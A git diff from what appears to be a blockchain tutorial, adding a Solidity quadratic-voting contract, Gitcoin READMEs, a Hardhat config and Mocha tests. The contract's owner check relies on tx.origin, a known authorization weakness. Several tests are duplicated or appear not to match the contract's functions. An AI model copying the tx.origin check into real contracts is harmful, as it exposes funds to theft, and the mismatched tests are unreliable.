+        (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));
+        require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FROM_FAILED');
+    }
+
+    event AddProposal(uint256 _hash);
+    event Vote(address indexed _from, uint256 indexed _hash, uint256 _n);
+
+    address emptyAddr = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
+    address owner = 0xBE9dD06cB0E71Dc5b13FfA0AF58e2f04a2aF50E3;
+    uint256 ONE_VOTE_ETH = 1 ether;
+
+    using SafeMath for uint256;
+
+    struct Proposal {
+        uint256 name;
+        uint256 voteCount;
+        uint256 amount;
+        uint8 status;//1 valid ,2 expired
+    }
+
+    Proposal[]  proposals;
+    mapping(uint256 => uint256) proposalMap;
+    mapping(address => mapping(uint256 => uint256)) userVoteMap;
+
+
+    constructor()public{
+        owner = msg.sender;
+    }
+
+
+    modifier onlyOwner() {
+        require(tx.origin == owner, "Ownable: caller is not the owner");
+        _;
+    }
+
+    function vote(uint256 _proposal, uint256 _n) public payable {
+        require(_n > 0, "zero");
+        uint256 index = proposalMap[_proposal];
+        require(index > 0, "not exists");
+        Proposal storage p = proposals[index - 1];
+        require(p.status == 1, "expired");
+        uint256 userNum = userVoteMap[msg.sender][_proposal];
+        uint256 nextNum = userNum.add(_n);
+        uint256 amount;
+        for (; userNum < nextNum; userNum++) {
+            amount = amount.add(numPower(userNum).mul(ONE_VOTE_ETH));
+        }
+        require(msg.value >= amount, "not enough");
+        p.amount = p.amount.add(amount);
+        p.voteCount = p.voteCount.add(_n);
+
+        userVoteMap[msg.sender][_proposal] = nextNum;
+
+        if (msg.value > amount) {
+            payable(msg.sender).transfer(msg.value.sub(amount));
+        }
+        emit Vote(msg.sender, _proposal, _n);
+    }
+
+    function addProposal(uint256 _proposal) public onlyOwner {
+        require(proposalMap[_proposal] == 0, "exists");
+        proposals.push(Proposal(_proposal, 0, 0, 1));
+        proposalMap[_proposal] = proposals.length;
+        emit AddProposal(_proposal);
+    }
+
+
+    function expireProposal(uint256 _proposal) public onlyOwner {
+        require(proposalMap[_proposal] > 0, "not exists");
+        proposals[proposalMap[_proposal] - 1].status = 2;
+    }
+
+    function withdraw() public onlyOwner {
+        payable(msg.sender).transfer(address(this).balance);
+    }
+
+    function getProposalLength() public view returns (uint256){
+        return proposals.length;
+    }
+
+    function getProposal(uint256 _index) public view returns (uint256, uint256, uint256, uint8){
+        require(_index < proposals.length, "out");
+        Proposal memory p = proposals[_index];
+        return (p.name, p.voteCount, p.amount, p.status);
+    }
+
+    function getUserVoteNum(address _addr, uint256 _proposal) public view returns (uint256){
+        return userVoteMap[_addr][_proposal];
+    }
+
+
+    function numPower(uint256 _n) public pure returns (uint256){
+        return 2 ** _n;
+
+    }
+
+    function hash(bytes memory _b) public pure returns (bytes32){
+        return keccak256(_b);
+    }
+
+
+}
diff --git a/basic/26-quadratic-vote&gitcoin/gitcoin/README-CN.md b/basic/26-quadratic-vote&gitcoin/gitcoin/README-CN.md
new file mode 100644
index 000000000..ccff95e27
--- /dev/null
+++ b/basic/26-quadratic-vote&gitcoin/gitcoin/README-CN.md
@@ -0,0 +1,32 @@
+# Gitcoin
+
+## 概念介绍
+
+介绍 Gitcoin 之前，先推荐一个二次方募资的资料 [Quadratic Funding](https://wtfisqf.com/)
+
+Gitcoin 是一个资助公共产品的平台，从一开始的赏金平台，到现在的捐款、学习，一直都是围绕着公共产品。所以我们来看 Gitcoin 有以下的产品功能：
+
+- [赏金任务](https://gitcoin.co/explorer)
+- [捐款](https://gitcoin.co/grants/)
+- [黑客松](https://gitcoin.co/hackathons)
+- [问答](https://gitcoin.co/quests)
+- [感谢卡](https://gitcoin.co/kudos)
+- [创业孵化 kernel](https://kernel.community/)
+
+产品的功能，大家可以自行体验。下面介绍一下如何加入 `GitcoinDAO` 进行贡献
+
+## GitcoinDAO
+
+加入 GitcoinDAO 需要填写申请表格，所以请先访问 [GitcoinDAO 网站](http://gitcoindao.com/)，左上角填写表格。
+
+或者来参加 [GitcoinDAO 中文 AMA](http://gitcoinchina.com/)，每周五 21:00 - 22:00
+
+更多介绍，可以查看参考资料的内容。
+
+## 参考资料
+
+- [gitcoin 介绍](https://docs.qq.com/doc/DTUFwUmJnQ2l4VnJz)
+- [视频](https://www.bilibili.com/video/BV1Y5411w77b/)
+- [gitcoin](https://gitcoin.co/blog/gitcoin-grants-quadratic-funding-for-the-world/)
+- [gitcoin dao](https://gitcoin.notion.site/gitcoin/GitcoinDAO-22431fe7c9794d99986a028c23ce56b5)
+- [gitcoin 匹配规则](https://gitcoin.co/blog/grants-round-12-matching-caps/)
diff --git a/basic/26-quadratic-vote&gitcoin/gitcoin/README.md b/basic/26-quadratic-vote&gitcoin/gitcoin/README.md
new file mode 100644
index 000000000..28d874c24
--- /dev/null
+++ b/basic/26-quadratic-vote&gitcoin/gitcoin/README.md
@@ -0,0 +1,32 @@
+# Gitcoin
+
+## Concept
+
+Before introducing Gitcoin, I'd like to make a recommendation of [Quadratic Funding](https://wtfisqf.com/).
+
+Gitcoin is a platform for funding public goods. From the bounties platform at the beginning, to the grants and study now, it has always been around public goods. It has the following product functions:
+
+- [Bounties](https://gitcoin.co/explorer)
+- [Grants](https://gitcoin.co/grants/)
+- [Hackathons](https://gitcoin.co/hackathons)
+- [Quests](https://gitcoin.co/quests)
+- [Kudos](https://gitcoin.co/kudos)
+- [Incubator-Kernel](https://kernel.community/)
+
+We can experience the function of the product by ourselves. Here's how to join `GitcoinDAO` to contribute.
+
+## GitcoinDAO
+
+Joining GitcoinDAO requires filling out an application form, so please visit first [GitcoinDAO website](http://gitcoindao.com/) fill the form in the upper left corner.
+
+Or join [GitcoinDAO chinese AMA](http://gitcoinchina.com/) Every Friday 21:00-22:00.
+
+For more information, see website.
+
+## Reference
+
+- [gitcoin intro](https://docs.qq.com/doc/DTUFwUmJnQ2l4VnJz)
+- [video intro](https://www.bilibili.com/video/BV1Y5411w77b/)
+- [gitcoin](https://gitcoin.co/blog/gitcoin-grants-quadratic-funding-for-the-world/)
+- [gitcoin dao](https://gitcoin.notion.site/gitcoin/GitcoinDAO-22431fe7c9794d99986a028c23ce56b5)
+- [gitcoin math rules](https://gitcoin.co/blog/grants-round-12-matching-caps/)
diff --git a/basic/26-quadratic-vote&gitcoin/hardhat.config.js b/basic/26-quadratic-vote&gitcoin/hardhat.config.js
new file mode 100644
index 000000000..6d8f17637
--- /dev/null
+++ b/basic/26-quadratic-vote&gitcoin/hardhat.config.js
@@ -0,0 +1,61 @@
+require("@nomiclabs/hardhat-waffle");
+const fs = require("fs");
+require('dotenv').config()
+
+
+// This is a sample Hardhat task. To learn how to create your own go to
+// https://hardhat.org/guides/create-task.html
+task("accounts", "Prints the list of accounts", async () => {
+  const accounts = await ethers.getSigners();
+
+  for (const account of accounts) {
+    console.log(account.address);
+  }
+});
+
+function mnemonic() {
+
+ return process.env.PRIVATE_KEY;
+
+}
+
+/**
+ * @type import('hardhat/config').HardhatUserConfig
+ */
+module.exports = {
+  solidity: "0.8.0",
+  networks: {
+    localhost: {
+      url: "http://localhost:8545",
+      //gasPrice: 125000000000,//you can adjust gasPrice locally to see how much it will cost on production
+      /*
+        notice no mnemonic here? it will just use account 0 of the hardhat node to deploy
+        (you can put in a mnemonic here to set the deployer locally)
+      */
+    },
+    rinkeby: {
+      url: `https://rinkeby.infura.io/v3/${process.env.INFURA_ID}`, //<---- YOUR INFURA ID! (or it won't work)
+      accounts: [
+        mnemonic()
+      ],
+    },
+    kovan: {
+      url: `https://kovan.infura.io/v3/${process.env.INFURA_ID}`, //<---- YOUR INFURA ID! (or it won't work)
+      accounts: [
+        mnemonic()
+      ],
+    },
+    mainnet: {
+      url: `https://mainnet.infura.io/v3/${process.env.INFURA_ID}`, //<---- YOUR INFURA ID! (or it won't work)
+      accounts: [
+        mnemonic()
+      ],
+    },
+    ropsten: {
+      url: `https://ropsten.infura.io/v3/${process.env.INFURA_ID}`, //<---- YOUR INFURA ID! (or it won't work)
+      accounts: [
+        mnemonic()
+      ],
+    },
+  }
+};
\ No newline at end of file
diff --git a/basic/26-quadratic-vote&gitcoin/package.json b/basic/26-quadratic-vote&gitcoin/package.json
new file mode 100644
index 000000000..ee6b679d1
--- /dev/null
+++ b/basic/26-quadratic-vote&gitcoin/package.json
@@ -0,0 +1,21 @@
+{
+  "name": "27-quadratic-vote",
+  "version": "1.0.0",
+  "main": "index.js",
+  "scripts": {
+    "test": "npx hardhat test"
+  },
+  "keywords": [],
+  "author": "",
+  "license": "ISC",
+  "devDependencies": {
+    "@nomiclabs/hardhat-ethers": "^2.0.0",
+    "@nomiclabs/hardhat-waffle": "^2.0.0",
+    "@openzeppelin/contracts": "^4.6.0",
+    "chai": "^4.2.0",
+    "dotenv": "^10.0.0",
+    "ethereum-waffle": "^3.0.0",
+    "ethers": "^5.0.0",
+    "hardhat": "^2.5.0"
+  }
+}
diff --git a/basic/26-quadratic-vote&gitcoin/test/FinancingTool.test.js b/basic/26-quadratic-vote&gitcoin/test/FinancingTool.test.js
new file mode 100644
index 000000000..927873b17
--- /dev/null
+++ b/basic/26-quadratic-vote&gitcoin/test/FinancingTool.test.js
@@ -0,0 +1,601 @@
+// This is an exmaple test file. Hardhat will run every *.js file in `test/`,
+// so feel free to add new ones.
+
+// Hardhat tests are normally written with Mocha and Chai.
+
+// We import Chai to use its asserting functions here.
+const { expect } = require('chai')
+
+
+// `describe` is a Mocha function that allows you to organize your tests. It's
+// not actually needed, but having your tests organized makes debugging them
+// easier. All Mocha functions are available in the global scope.
+
+// `describe` recieves the name of a section of your test suite, and a callback.
+// The callback must define the tests of that section. This callback can't be
+// an async function.
+describe('FinancingTool', function () {
+  // Mocha has four functions that let you hook into the  test runner's
+  // lifecyle. These are: `before`, `beforeEach`, `after`, `afterEach`.
+
+  // They're very useful to setup the environment for tests, and to clean it
+  // up after they run.
+
+  // A common pattern is to declare some variables, and assign them in the
+  // `before` and `beforeEach` callbacks.
+
+  let financingToolContractFactory
+  let financingTool
+  let owner
+  let addr1
+  let addr2
+  let addrs
+
+  // `beforeEach` will run before each test, re-deploying the contract every
+  // time. It receives a callback, which can be async.
+  beforeEach(async function () {
+    // Get the ContractFactory and Signers here.
+    financingToolContractFactory = await ethers.getContractFactory('FinancingTool')
+      ;[owner, addr1, addr2, ...addrs] = await ethers.getSigners()
+
+    // To deploy our contract, we just have to call Token.deploy() and await
+    // for it to be deployed(), which happens onces its transaction has been
+    // mined.
+    financingTool = await financingToolContractFactory.deploy()
+    await financingTool.deployed()
+  })
+
+  // You can nest describe calls to create subsection
+  describe('Proposals', function () {
+    // `it` is another Mocha function. This is the one you use to define your
+    // tests. It receives the test name, and a callback function.
+
+    it('Before add proposal, should transform it to bytes32', async function () {
+      let proposal = "Buy toys"
+
+      // Bytes32 : "0x42757920746f7973000000000000000000000000000000000000000000000000"
+      let proposalBytes32 = ethers.utils.formatBytes32String(proposal)
+
+      // Every proposal should be trans to hash before they are added into proposals
+      let proposalHashId = await financingTool.hash(proposalBytes32)
+
+      // Add Proposal
+      await financingTool.addProposal(proposalHashId)
+
+    })
+
+    it('We can add more than one proposal', async function () {
+      // First proposal
+      let firstProposal = "Buy toys"
+
+      // Bytes32 : "0x42757920746f7973000000000000000000000000000000000000000000000000"
+      let fristProposalBytes32 = ethers.utils.formatBytes32String(firstProposal)
+
+      // Every proposal should be trans to hash before they are added into proposals
+      let firstProposalHashId = await financingTool.hash(fristProposalBytes32)
+
+      // Add first Proposal
+      await financingTool.addProposal(firstProposalHashId)
+      
+      // Second proposal
+      let secondProposal = "Buy cars"
+
+      // Bytes32 : "0x4275792063617273000000000000000000000000000000000000000000000000"
+      let secondProposalBytes32 = ethers.utils.formatBytes32String(secondProposal)
+
+      // Every proposal should be trans to hash before they are added into proposals
+      let secondProposalHashId = await financingTool.hash(secondProposalBytes32)
+
+      // Add first Proposal
+      await financingTool.addProposal(secondProposalHashId)
+
+    })
+
+    it('We can add more than one proposal', async function () {
+      // First proposal
+      let firstProposal = "Buy toys"
+
+      // Bytes32 : "0x42757920746f7973000000000000000000000000000000000000000000000000"
+      let fristProposalBytes32 = ethers.utils.formatBytes32String(firstProposal)
+
+      // Every proposal should be trans to hash before they are added into proposals
+      let firstProposalHashId = await financingTool.hash(fristProposalBytes32)
+
+      // Add first Proposal
+      await financingTool.addProposal(firstProposalHashId)
+      
+      // Second proposal
+      let secondProposal = "Buy cars"
+
+      // Bytes32 : "0x4275792063617273000000000000000000000000000000000000000000000000"
+      let secondProposalBytes32 = ethers.utils.formatBytes32String(secondProposal)
+
+      // Every proposal should be trans to hash before they are added into proposals
+      let secondProposalHashId = await financingTool.hash(secondProposalBytes32)
+
+      // Add first Proposal
+      await financingTool.addProposal(secondProposalHashId)
+
+    })
+
+    it('Check total proposals after add proposal', async function () {
+      // First proposal
+      let firstProposal = "Buy toys"
+
+      // Bytes32 : "0x42757920746f7973000000000000000000000000000000000000000000000000"
+      let fristProposalBytes32 = ethers.utils.formatBytes32String(firstProposal)
+
+      // Every proposal should be trans to hash before they are added into proposals
+      let firstProposalHashId = await financingTool.hash(fristProposalBytes32)
+
+      // Add first Proposal
+      await financingTool.addProposal(firstProposalHashId)
+      
+      // Check the total proposal 
+      let totalProposal = await financingTool.getProposalLength()
+
+      // Compare the proposalStauts
+      expect(totalProposal).to.equal(1)
+
+    })
+
+    it('Get proposal info with proposal index', async function () {
+      // First proposal
+      let firstProposal = "Buy toys"
+
+      // Bytes32 : "0x42757920746f7973000000000000000000000000000000000000000000000000"
+      let fristProposalBytes32 = ethers.utils.formatBytes32String(firstProposal)
+
+      // Every proposal should be trans to hash before they are added into proposals
+      let firstProposalHashId = await financingTool.hash(fristProposalBytes32)
+
+      // Add first Proposal
+      await financingTool.addProposal(firstProposalHashId)
+      
+      // Get proposal info with proposal index
+      let [propsalName,proposalAmount,proposalVoteCount,proposalUserAddressArrLength] = await financingTool.getProposal(0)
+
+      // Compare the propsalName
+      expect(propsalName).to.equal(firstProposalHashId)
+
+      // Compare the propsalName
+      expect(proposalAmount).to.equal(0)
+
+      // Compare the propsalName
+      expect(proposalVoteCount).to.equal(0)
+
+      // Compare the propsalName
+      expect(proposalUserAddressArrLength).to.equal(0)
+
+    })
+
+  })
+
+  describe('Vote', function () {
+    // `it` is another Mocha function. This is the one you use to define your
+    // tests. It receives the test name, and a callback function.
+
+    it('User can vote to a proposal', async function () {
+      let proposal = "Buy toys"
+
+      // Bytes32 : "0x42757920746f7973000000000000000000000000000000000000000000000000"
+      let proposalBytes32 = ethers.utils.formatBytes32String(proposal)
+
+      // Every proposal should be trans to hash before they are added into proposals
+      let proposalHashId = await financingTool.hash(proposalBytes32)
+
+      // Add Proposal
+      await financingTool.addProposal(proposalHashId)
+
+      // User contract 
+      let userContract = financingTool.connect(addr1)
+
+      let overrides = {
+        value: 4  // the value is cong
+    
+        // Or you can use Wei directly if you have that:
+        // value: someBigNumber
+        // value: 1234   // Note that using JavaScript numbers requires they are less than Number.MAX_SAFE_INTEGER
+        // value: "1234567890"
+        // value: "0x1234"
+    
+        // Or, promises are also supported:
+        // value: provider.getBalance(addr)
+      };
+
+      // Try to vote first proposal with 1 votes
+      await userContract.vote(proposalHashId,4,overrides)
+
+      //Check the user vote num
+      let [usVoteAmount, usVoteCount] = await userContract.getUserVoteNum(addr1.address,proposalHashId)
+
+      // Compare the usVoteAmount
+      expect(usVoteAmount).to.equal(4)
+
+      // Compare the usVoteCount
+      expect(usVoteCount).to.equal(2)
+    })
+
+    it('User vote amount is refer to transfer value, not to parameters', async function () {
+      let proposal = "Buy toys"
+
+      // Bytes32 : "0x42757920746f7973000000000000000000000000000000000000000000000000"
+      let proposalBytes32 = ethers.utils.formatBytes32String(proposal)
+
+      // Every proposal should be trans to hash before they are added into proposals
+      let proposalHashId = await financingTool.hash(proposalBytes32)
+
+      // Add Proposal
+      await financingTool.addProposal(proposalHashId)
+
+      // User contract 
+      let userContract = financingTool.connect(addr1)
+
+      let overrides = {
+        value: 4  // the value is cong
+    
+        // Or you can use Wei directly if you have that:
+        // value: someBigNumber
+        // value: 1234   // Note that using JavaScript numbers requires they are less than Number.MAX_SAFE_INTEGER
+        // value: "1234567890"
+        // value: "0x1234"
+    
+        // Or, promises are also supported:
+        // value: provider.getBalance(addr)
+      };
+
+      //Though you claim you vote 8 , but the actual value is 4, which is the value you transfter to the proposal contract
+      await userContract.vote(proposalHashId,8,overrides)
+
+      //Check the user vote num
+      let [usVoteAmount, usVoteCount] = await userContract.getUserVoteNum(addr1.address,proposalHashId)
+
+      // Compare the usVoteAmount
+      expect(usVoteAmount).to.equal(4)
+
+      // Compare the usVoteCount
+      expect(usVoteCount).to.equal(2)
+    })
+
+    it('We can get proposal user info with specific proposal', async function () {
+      let proposal = "Buy toys"
+  
+      // Bytes32 : "0x42757920746f7973000000000000000000000000000000000000000000000000"
+      let proposalBytes32 = ethers.utils.formatBytes32String(proposal)
+  
+      // Every proposal should be trans to hash before they are added into proposals
+      let proposalHashId = await financingTool.hash(proposalBytes32)
+  
+      // Add Proposal
+      await financingTool.addProposal(proposalHashId)
+  
+      // User contract 
+      let userContract = financingTool.connect(addr1)
+  
+      let overrides = {
+        value: 4  // the value is cong
+    
+        // Or you can use Wei directly if you have that:
+        // value: someBigNumber
+        // value: 1234   // Note that using JavaScript numbers requires they are less than Number.MAX_SAFE_INTEGER
+        // value: "1234567890"
+        // value: "0x1234"
+    
+        // Or, promises are also supported:
+        // value: provider.getBalance(addr)
+      };
+  
+      // Try to vote first proposal with 1 votes
+      await userContract.vote(proposalHashId,4,overrides)
+  
+      //Get the user addresses from teh proposal
+      let userAddrArr = await userContract.getProposalUser(proposalHashId,0,1)
+  
+      // Compare the usVoteAmount
+      expect(userAddrArr[0]).to.equal(addr1.address)
+    })
+
+    it('Instead of vote to a proposal, user can add extra amount to a proposal, which not record user vote', async function () {
+      let proposal = "Buy toys"
+  
+      // Bytes32 : "0x42757920746f7973000000000000000000000000000000000000000000000000"
+      let proposalBytes32 = ethers.utils.formatBytes32String(proposal)
+  
+      // Every proposal should be trans to hash before they are added into proposals
+      let proposalHashId = await financingTool.hash(proposalBytes32)
+  
+      // Add Proposal
+      await financingTool.addProposal(proposalHashId)
+  
+      // User contract 
+      let userContract = financingTool.connect(addr1)
+  
+      let overrides = {
+        value: 4  // the value is cong
+    
+        // Or you can use Wei directly if you have that:
+        // value: someBigNumber
+        // value: 1234   // Note that using JavaScript numbers requires they are less than Number.MAX_SAFE_INTEGER
+        // value: "1234567890"
+        // value: "0x1234"
+    
+        // Or, promises are also supported:
+        // value: provider.getBalance(addr)
+      };
+  
+      // Add extra amount to proposal contract
+      await userContract.addExtraAmount(addr1.address,4,overrides)
+    })
+
+    it('We can get total vote count of all the proposals', async function () {
+      // First proposal
+      let firstProposal = "Buy toys"
+
+      // Bytes32 : "0x42757920746f7973000000000000000000000000000000000000000000000000"
+      let fristProposalBytes32 = ethers.utils.formatBytes32String(firstProposal)
+
+      // Every proposal should be trans to hash before they are added into proposals
+      let firstProposalHashId = await financingTool.hash(fristProposalBytes32)
+
+      // Add first Proposal
+      await financingTool.addProposal(firstProposalHashId)
+      
+      // Second proposal
+      let secondProposal = "Buy cars"
+
+      // Bytes32 : "0x4275792063617273000000000000000000000000000000000000000000000000"
+      let secondProposalBytes32 = ethers.utils.formatBytes32String(secondProposal)
+
+      // Every proposal should be trans to hash before they are added into proposals
+      let secondProposalHashId = await financingTool.hash(secondProposalBytes32)
+
+      // Add first Proposal
+      await financingTool.addProposal(secondProposalHashId)
+
+      // User contract 
+      let userContract = financingTool.connect(addr1)
+
+      let overrides = {
+        value: 4  // the value is cong
+    
+        // Or you can use Wei directly if you have that:
+        // value: someBigNumber
+        // value: 1234   // Note that using JavaScript numbers requires they are less than Number.MAX_SAFE_INTEGER
+        // value: "1234567890"
+        // value: "0x1234"
+    
+        // Or, promises are also supported:
+        // value: provider.getBalance(addr)
+      };
+
+      //Vote to the first proposal
+      await userContract.vote(firstProposalHashId,4,overrides)
+
+      //Vote to the second proposal
+      await userContract.vote(secondProposalHashId,4,overrides)
+
+      //Get total vote count of two proposals
+      let totalVoteCount = await userContract.getTotalCount()
+
+      // Compare the usVoteAmount
+      expect(totalVoteCount).to.equal(4)
+
+    })
+
+    it('We can get total vote count of all the proposals', async function () {
+      // First proposal
+      let firstProposal = "Buy toys"
+
+      // Bytes32 : "0x42757920746f7973000000000000000000000000000000000000000000000000"
+      let fristProposalBytes32 = ethers.utils.formatBytes32String(firstProposal)
+
+      // Every proposal should be trans to hash before they are added into proposals
+      let firstProposalHashId = await financingTool.hash(fristProposalBytes32)
+
+      // Add first Proposal
+      await financingTool.addProposal(firstProposalHashId)
+      
+      // Second proposal
+      let secondProposal = "Buy cars"
+
+      // Bytes32 : "0x4275792063617273000000000000000000000000000000000000000000000000"
+      let secondProposalBytes32 = ethers.utils.formatBytes32String(secondProposal)
+
+      // Every proposal should be trans to hash before they are added into proposals
+      let secondProposalHashId = await financingTool.hash(secondProposalBytes32)
+
+      // Add first Proposal
+      await financingTool.addProposal(secondProposalHashId)
+
+      // User contract 
+      let userContractAlice = financingTool.connect(addr1)
+
+      let overrides = {
+        value: 4  // the value is cong
+    
+        // Or you can use Wei directly if you have that:
+        // value: someBigNumber
+        // value: 1234   // Note that using JavaScript numbers requires they are less than Number.MAX_SAFE_INTEGER
+        // value: "1234567890"
+        // value: "0x1234"
+    
+        // Or, promises are also supported:
+        // value: provider.getBalance(addr)
+      };
+
+      //Vote to the first proposal
+      await userContractAlice.vote(firstProposalHashId,4,overrides)
+
+      //Vote to the second proposal
+      await userContractAlice.vote(secondProposalHashId,4,overrides)
+
+      // User contract 
+      let userContractBob = financingTool.connect(addr2)
+
+      //Vote to the first proposal
+      await userContractBob.vote(firstProposalHashId,4,overrides)
+
+      //Vote to the second proposal
+      await userContractBob.vote(secondProposalHashId,4,overrides)
+
+      // Change the transfer value 
+      overrides.value = 4000
+
+      // Add extra amount to proposal contract
+      await userContractBob.addExtraAmount(addr2.address,4,overrides)
+
+      // Get proposal result 
+      let [proposalAmount,proposalVoteCount] = await userContractBob.getResult(secondProposalHashId)
+
+      // Compare the proposalAmount
+      expect(parseInt(proposalAmount)).to.equal(2008)
+
+      // Compare the proposalVoteCount
+      expect(parseInt(proposalVoteCount)).to.equal(4)
+
+    })
+
+    it('Owner can withdraw a specific proposal', async function () {
+      // First proposal
+      let firstProposal = "Buy toys"
+
+      // Bytes32 : "0x42757920746f7973000000000000000000000000000000000000000000000000"
+      let fristProposalBytes32 = ethers.utils.formatBytes32String(firstProposal)
+
+      // Every proposal should be trans to hash before they are added into proposals
+      let firstProposalHashId = await financingTool.hash(fristProposalBytes32)
+
+      // Add first Proposal
+      await financingTool.addProposal(firstProposalHashId)
+      
+      // Second proposal
+      let secondProposal = "Buy cars"
+
+      // Bytes32 : "0x4275792063617273000000000000000000000000000000000000000000000000"
+      let secondProposalBytes32 = ethers.utils.formatBytes32String(secondProposal)
+
+      // Every proposal should be trans to hash before they are added into proposals
+      let secondProposalHashId = await financingTool.hash(secondProposalBytes32)
+
+      // Add first Proposal
+      await financingTool.addProposal(secondProposalHashId)
+
+      // User contract 
+      let userContractAlice = financingTool.connect(addr1)
+
+      let overrides = {
+        value: 4  // the value is cong
+    
+        // Or you can use Wei directly if you have that:
+        // value: someBigNumber
+        // value: 1234   // Note that using JavaScript numbers requires they are less than Number.MAX_SAFE_INTEGER
+        // value: "1234567890"
+        // value: "0x1234"
+    
+        // Or, promises are also supported:
+        // value: provider.getBalance(addr)
+      };
+
+      //Vote to the first proposal
+      await userContractAlice.vote(firstProposalHashId,4,overrides)
+
+      //Vote to the second proposal
+      await userContractAlice.vote(secondProposalHashId,4,overrides)
+
+      // User contract 
+      let userContractBob = financingTool.connect(addr2)
+
+      //Vote to the first proposal
+      await userContractBob.vote(firstProposalHashId,4,overrides)
+
+      //Vote to the second proposal
+      await userContractBob.vote(secondProposalHashId,4,overrides)
+
+      // Change the transfer value 
+      overrides.value = 4000
+
+      // Add extra amount to proposal contract
+      await userContractBob.addExtraAmount(addr2.address,4,overrides)
+
+      // Withdraw first proposal
+      await financingTool.withdrawProposal(firstProposalHashId)
+
+    })
+
+    it('Owner can withdraw all amount', async function () {
+      // First proposal
+      let firstProposal = "Buy toys"
+
+      // Bytes32 : "0x42757920746f7973000000000000000000000000000000000000000000000000"
+      let fristProposalBytes32 = ethers.utils.formatBytes32String(firstProposal)
+
+      // Every proposal should be trans to hash before they are added into proposals
+      let firstProposalHashId = await financingTool.hash(fristProposalBytes32)
+
+      // Add first Proposal
+      await financingTool.addProposal(firstProposalHashId)
+      
+      // Second proposal
+      let secondProposal = "Buy cars"
+
+      // Bytes32 : "0x4275792063617273000000000000000000000000000000000000000000000000"
+      let secondProposalBytes32 = ethers.utils.formatBytes32String(secondProposal)
+
+      // Every proposal should be trans to hash before they are added into proposals
+      let secondProposalHashId = await financingTool.hash(secondProposalBytes32)
+
+      // Add first Proposal
+      await financingTool.addProposal(secondProposalHashId)
+
+      // User contract 
+      let userContractAlice = financingTool.connect(addr1)
+
+      let overrides = {
+        value: 4  // the value is cong
+    
+        // Or you can use Wei directly if you have that:
+        // value: someBigNumber
+        // value: 1234   // Note that using JavaScript numbers requires they are less than Number.MAX_SAFE_INTEGER
+        // value: "1234567890"
+        // value: "0x1234"
+    
+        // Or, promises are also supported:
+        // value: provider.getBalance(addr)
+      };
+
+      //Vote to the first proposal
+      await userContractAlice.vote(firstProposalHashId,4,overrides)
+
+      //Vote to the second proposal
+      await userContractAlice.vote(secondProposalHashId,4,overrides)
+
+      // User contract 
+      let userContractBob = financingTool.connect(addr2)
+
+      //Vote to the first proposal
+      await userContractBob.vote(firstProposalHashId,4,overrides)
+
+      //Vote to the second proposal
+      await userContractBob.vote(secondProposalHashId,4,overrides)
+
+      // Change the transfer value 
+      overrides.value = 4000
+
+      // Add extra amount to proposal contract
+      await userContractBob.addExtraAmount(addr2.address,4,overrides)
+
+      // Withdraw first proposal
+      await financingTool.withdraw()
+
+      let provider = ethers.getDefaultProvider()
+
+      const balance = await provider.getBalance(userContractBob.address)
+
+      //After withdraw all of the amount, the proposal contract balance should be zero
+      expect(parseInt(balance)).to.equal(0)
+
+    })
+
+  })
+
+})
diff --git a/basic/26-quadratic-vote&gitcoin/test/VoteTool.test.js b/basic/26-quadratic-vote&gitcoin/test/VoteTool.test.js
new file mode 100644
index 000000000..4692c4389
--- /dev/null
+++ b/basic/26-quadratic-vote&gitcoin/test/VoteTool.test.js
@@ -0,0 +1,243 @@
+// This is an exmaple test file. Hardhat will run every *.js file in `test/`,
+// so feel free to add new ones.
+
+// Hardhat tests are normally written with Mocha and Chai.
+
+// We import Chai to use its asserting functions here.
+const { expect } = require('chai')
+const { BigNumber } = require('ethers')
+
+
+// `describe` is a Mocha function that allows you to organize your tests. It's
+// not actually needed, but having your tests organized makes debugging them
+// easier. All Mocha functions are available in the global scope.
+
+// `describe` recieves the name of a section of your test suite, and a callback.
+// The callback must define the tests of that section. This callback can't be
+// an async function.
+describe('VotingTool', function () {
+  // Mocha has four functions that let you hook into the  test runner's
+  // lifecyle. These are: `before`, `beforeEach`, `after`, `afterEach`.
+
+  // They're very useful to setup the environment for tests, and to clean it
+  // up after they run.
+
+  // A common pattern is to declare some variables, and assign them in the
+  // `before` and `beforeEach` callbacks.
+
+  let voteToolContractFactory
+  let voteTool
+  let owner
+  let addr1
+  let addr2
+  let addrs
+
+  // `beforeEach` will run before each test, re-deploying the contract every
+  // time. It receives a callback, which can be async.
+  beforeEach(async function () {
+    // Get the ContractFactory and Signers here.
+    voteToolContractFactory = await ethers.getContractFactory('VoteTool')
+    ;[owner, addr1, addr2, ...addrs] = await ethers.getSigners()
+
+    // To deploy our contract, we just have to call Token.deploy() and await
+    // for it to be deployed(), which happens onces its transaction has been
+    // mined.
+    voteTool = await voteToolContractFactory.deploy()
+    await voteTool.deployed()
+  })
+
+  // You can nest describe calls to create subsections.
+  describe('Proposals', function () {
+    // `it` is another Mocha function. This is the one you use to define your
+    // tests. It receives the test name, and a callback function.
+
+    it('Before add proposal, should transform it to bytes32', async function () {
+      let proposal = "Buy toys"
+
+      // Bytes32 : "0x42757920746f7973000000000000000000000000000000000000000000000000"
+      let proposalBytes32 = ethers.utils.formatBytes32String(proposal)
+
+      // Every proposal should be trans to hash before they are added into proposals
+      let proposalHashId = await voteTool.hash(proposalBytes32)
+
+      // Add Proposal
+      await voteTool.addProposal(proposalHashId)
+      
+    })
+
+
+    it('After add proposals, we can get the detail of proposal', async function () {
+
+      // Proposal context
+      let proposal = "Buy toys"
+
+      // Bytes32 : "0x42757920746f7973000000000000000000000000000000000000000000000000"
+      let proposalBytes32 = ethers.utils.formatBytes32String(proposal)
+
+      // Every proposal should be trans to hash before they are added into proposals
+      let proposalHashId = await voteTool.hash(proposalBytes32)
+
+      // Add Proposal
+      await voteTool.addProposal(proposalHashId)
+
+      // Get the proposal we just added, and check whether their value are correct
+      let [proposalName, voteCount, donationAmount,proposalStauts] = await voteTool.getProposal(0)
+
+      // Compare the proposalName
+      expect(parseInt(proposalName)).to.equal(parseInt(proposalHashId))
+
+      // Compare the voteCount
+      expect(voteCount).to.equal(0)
+
+      // Compare the donationAmount
+      expect(donationAmount).to.equal(0)
+
+      // Compare the proposalStauts
+      expect(proposalStauts).to.equal(1)
+
+    })
+
+
+    it('After add proposals, we can get the total proposal numbers', async function () {
+
+      // First proposal context
+      let firstProposal = "Buy toys"
+
+      // Bytes32 : "0x42757920746f7973000000000000000000000000000000000000000000000000"
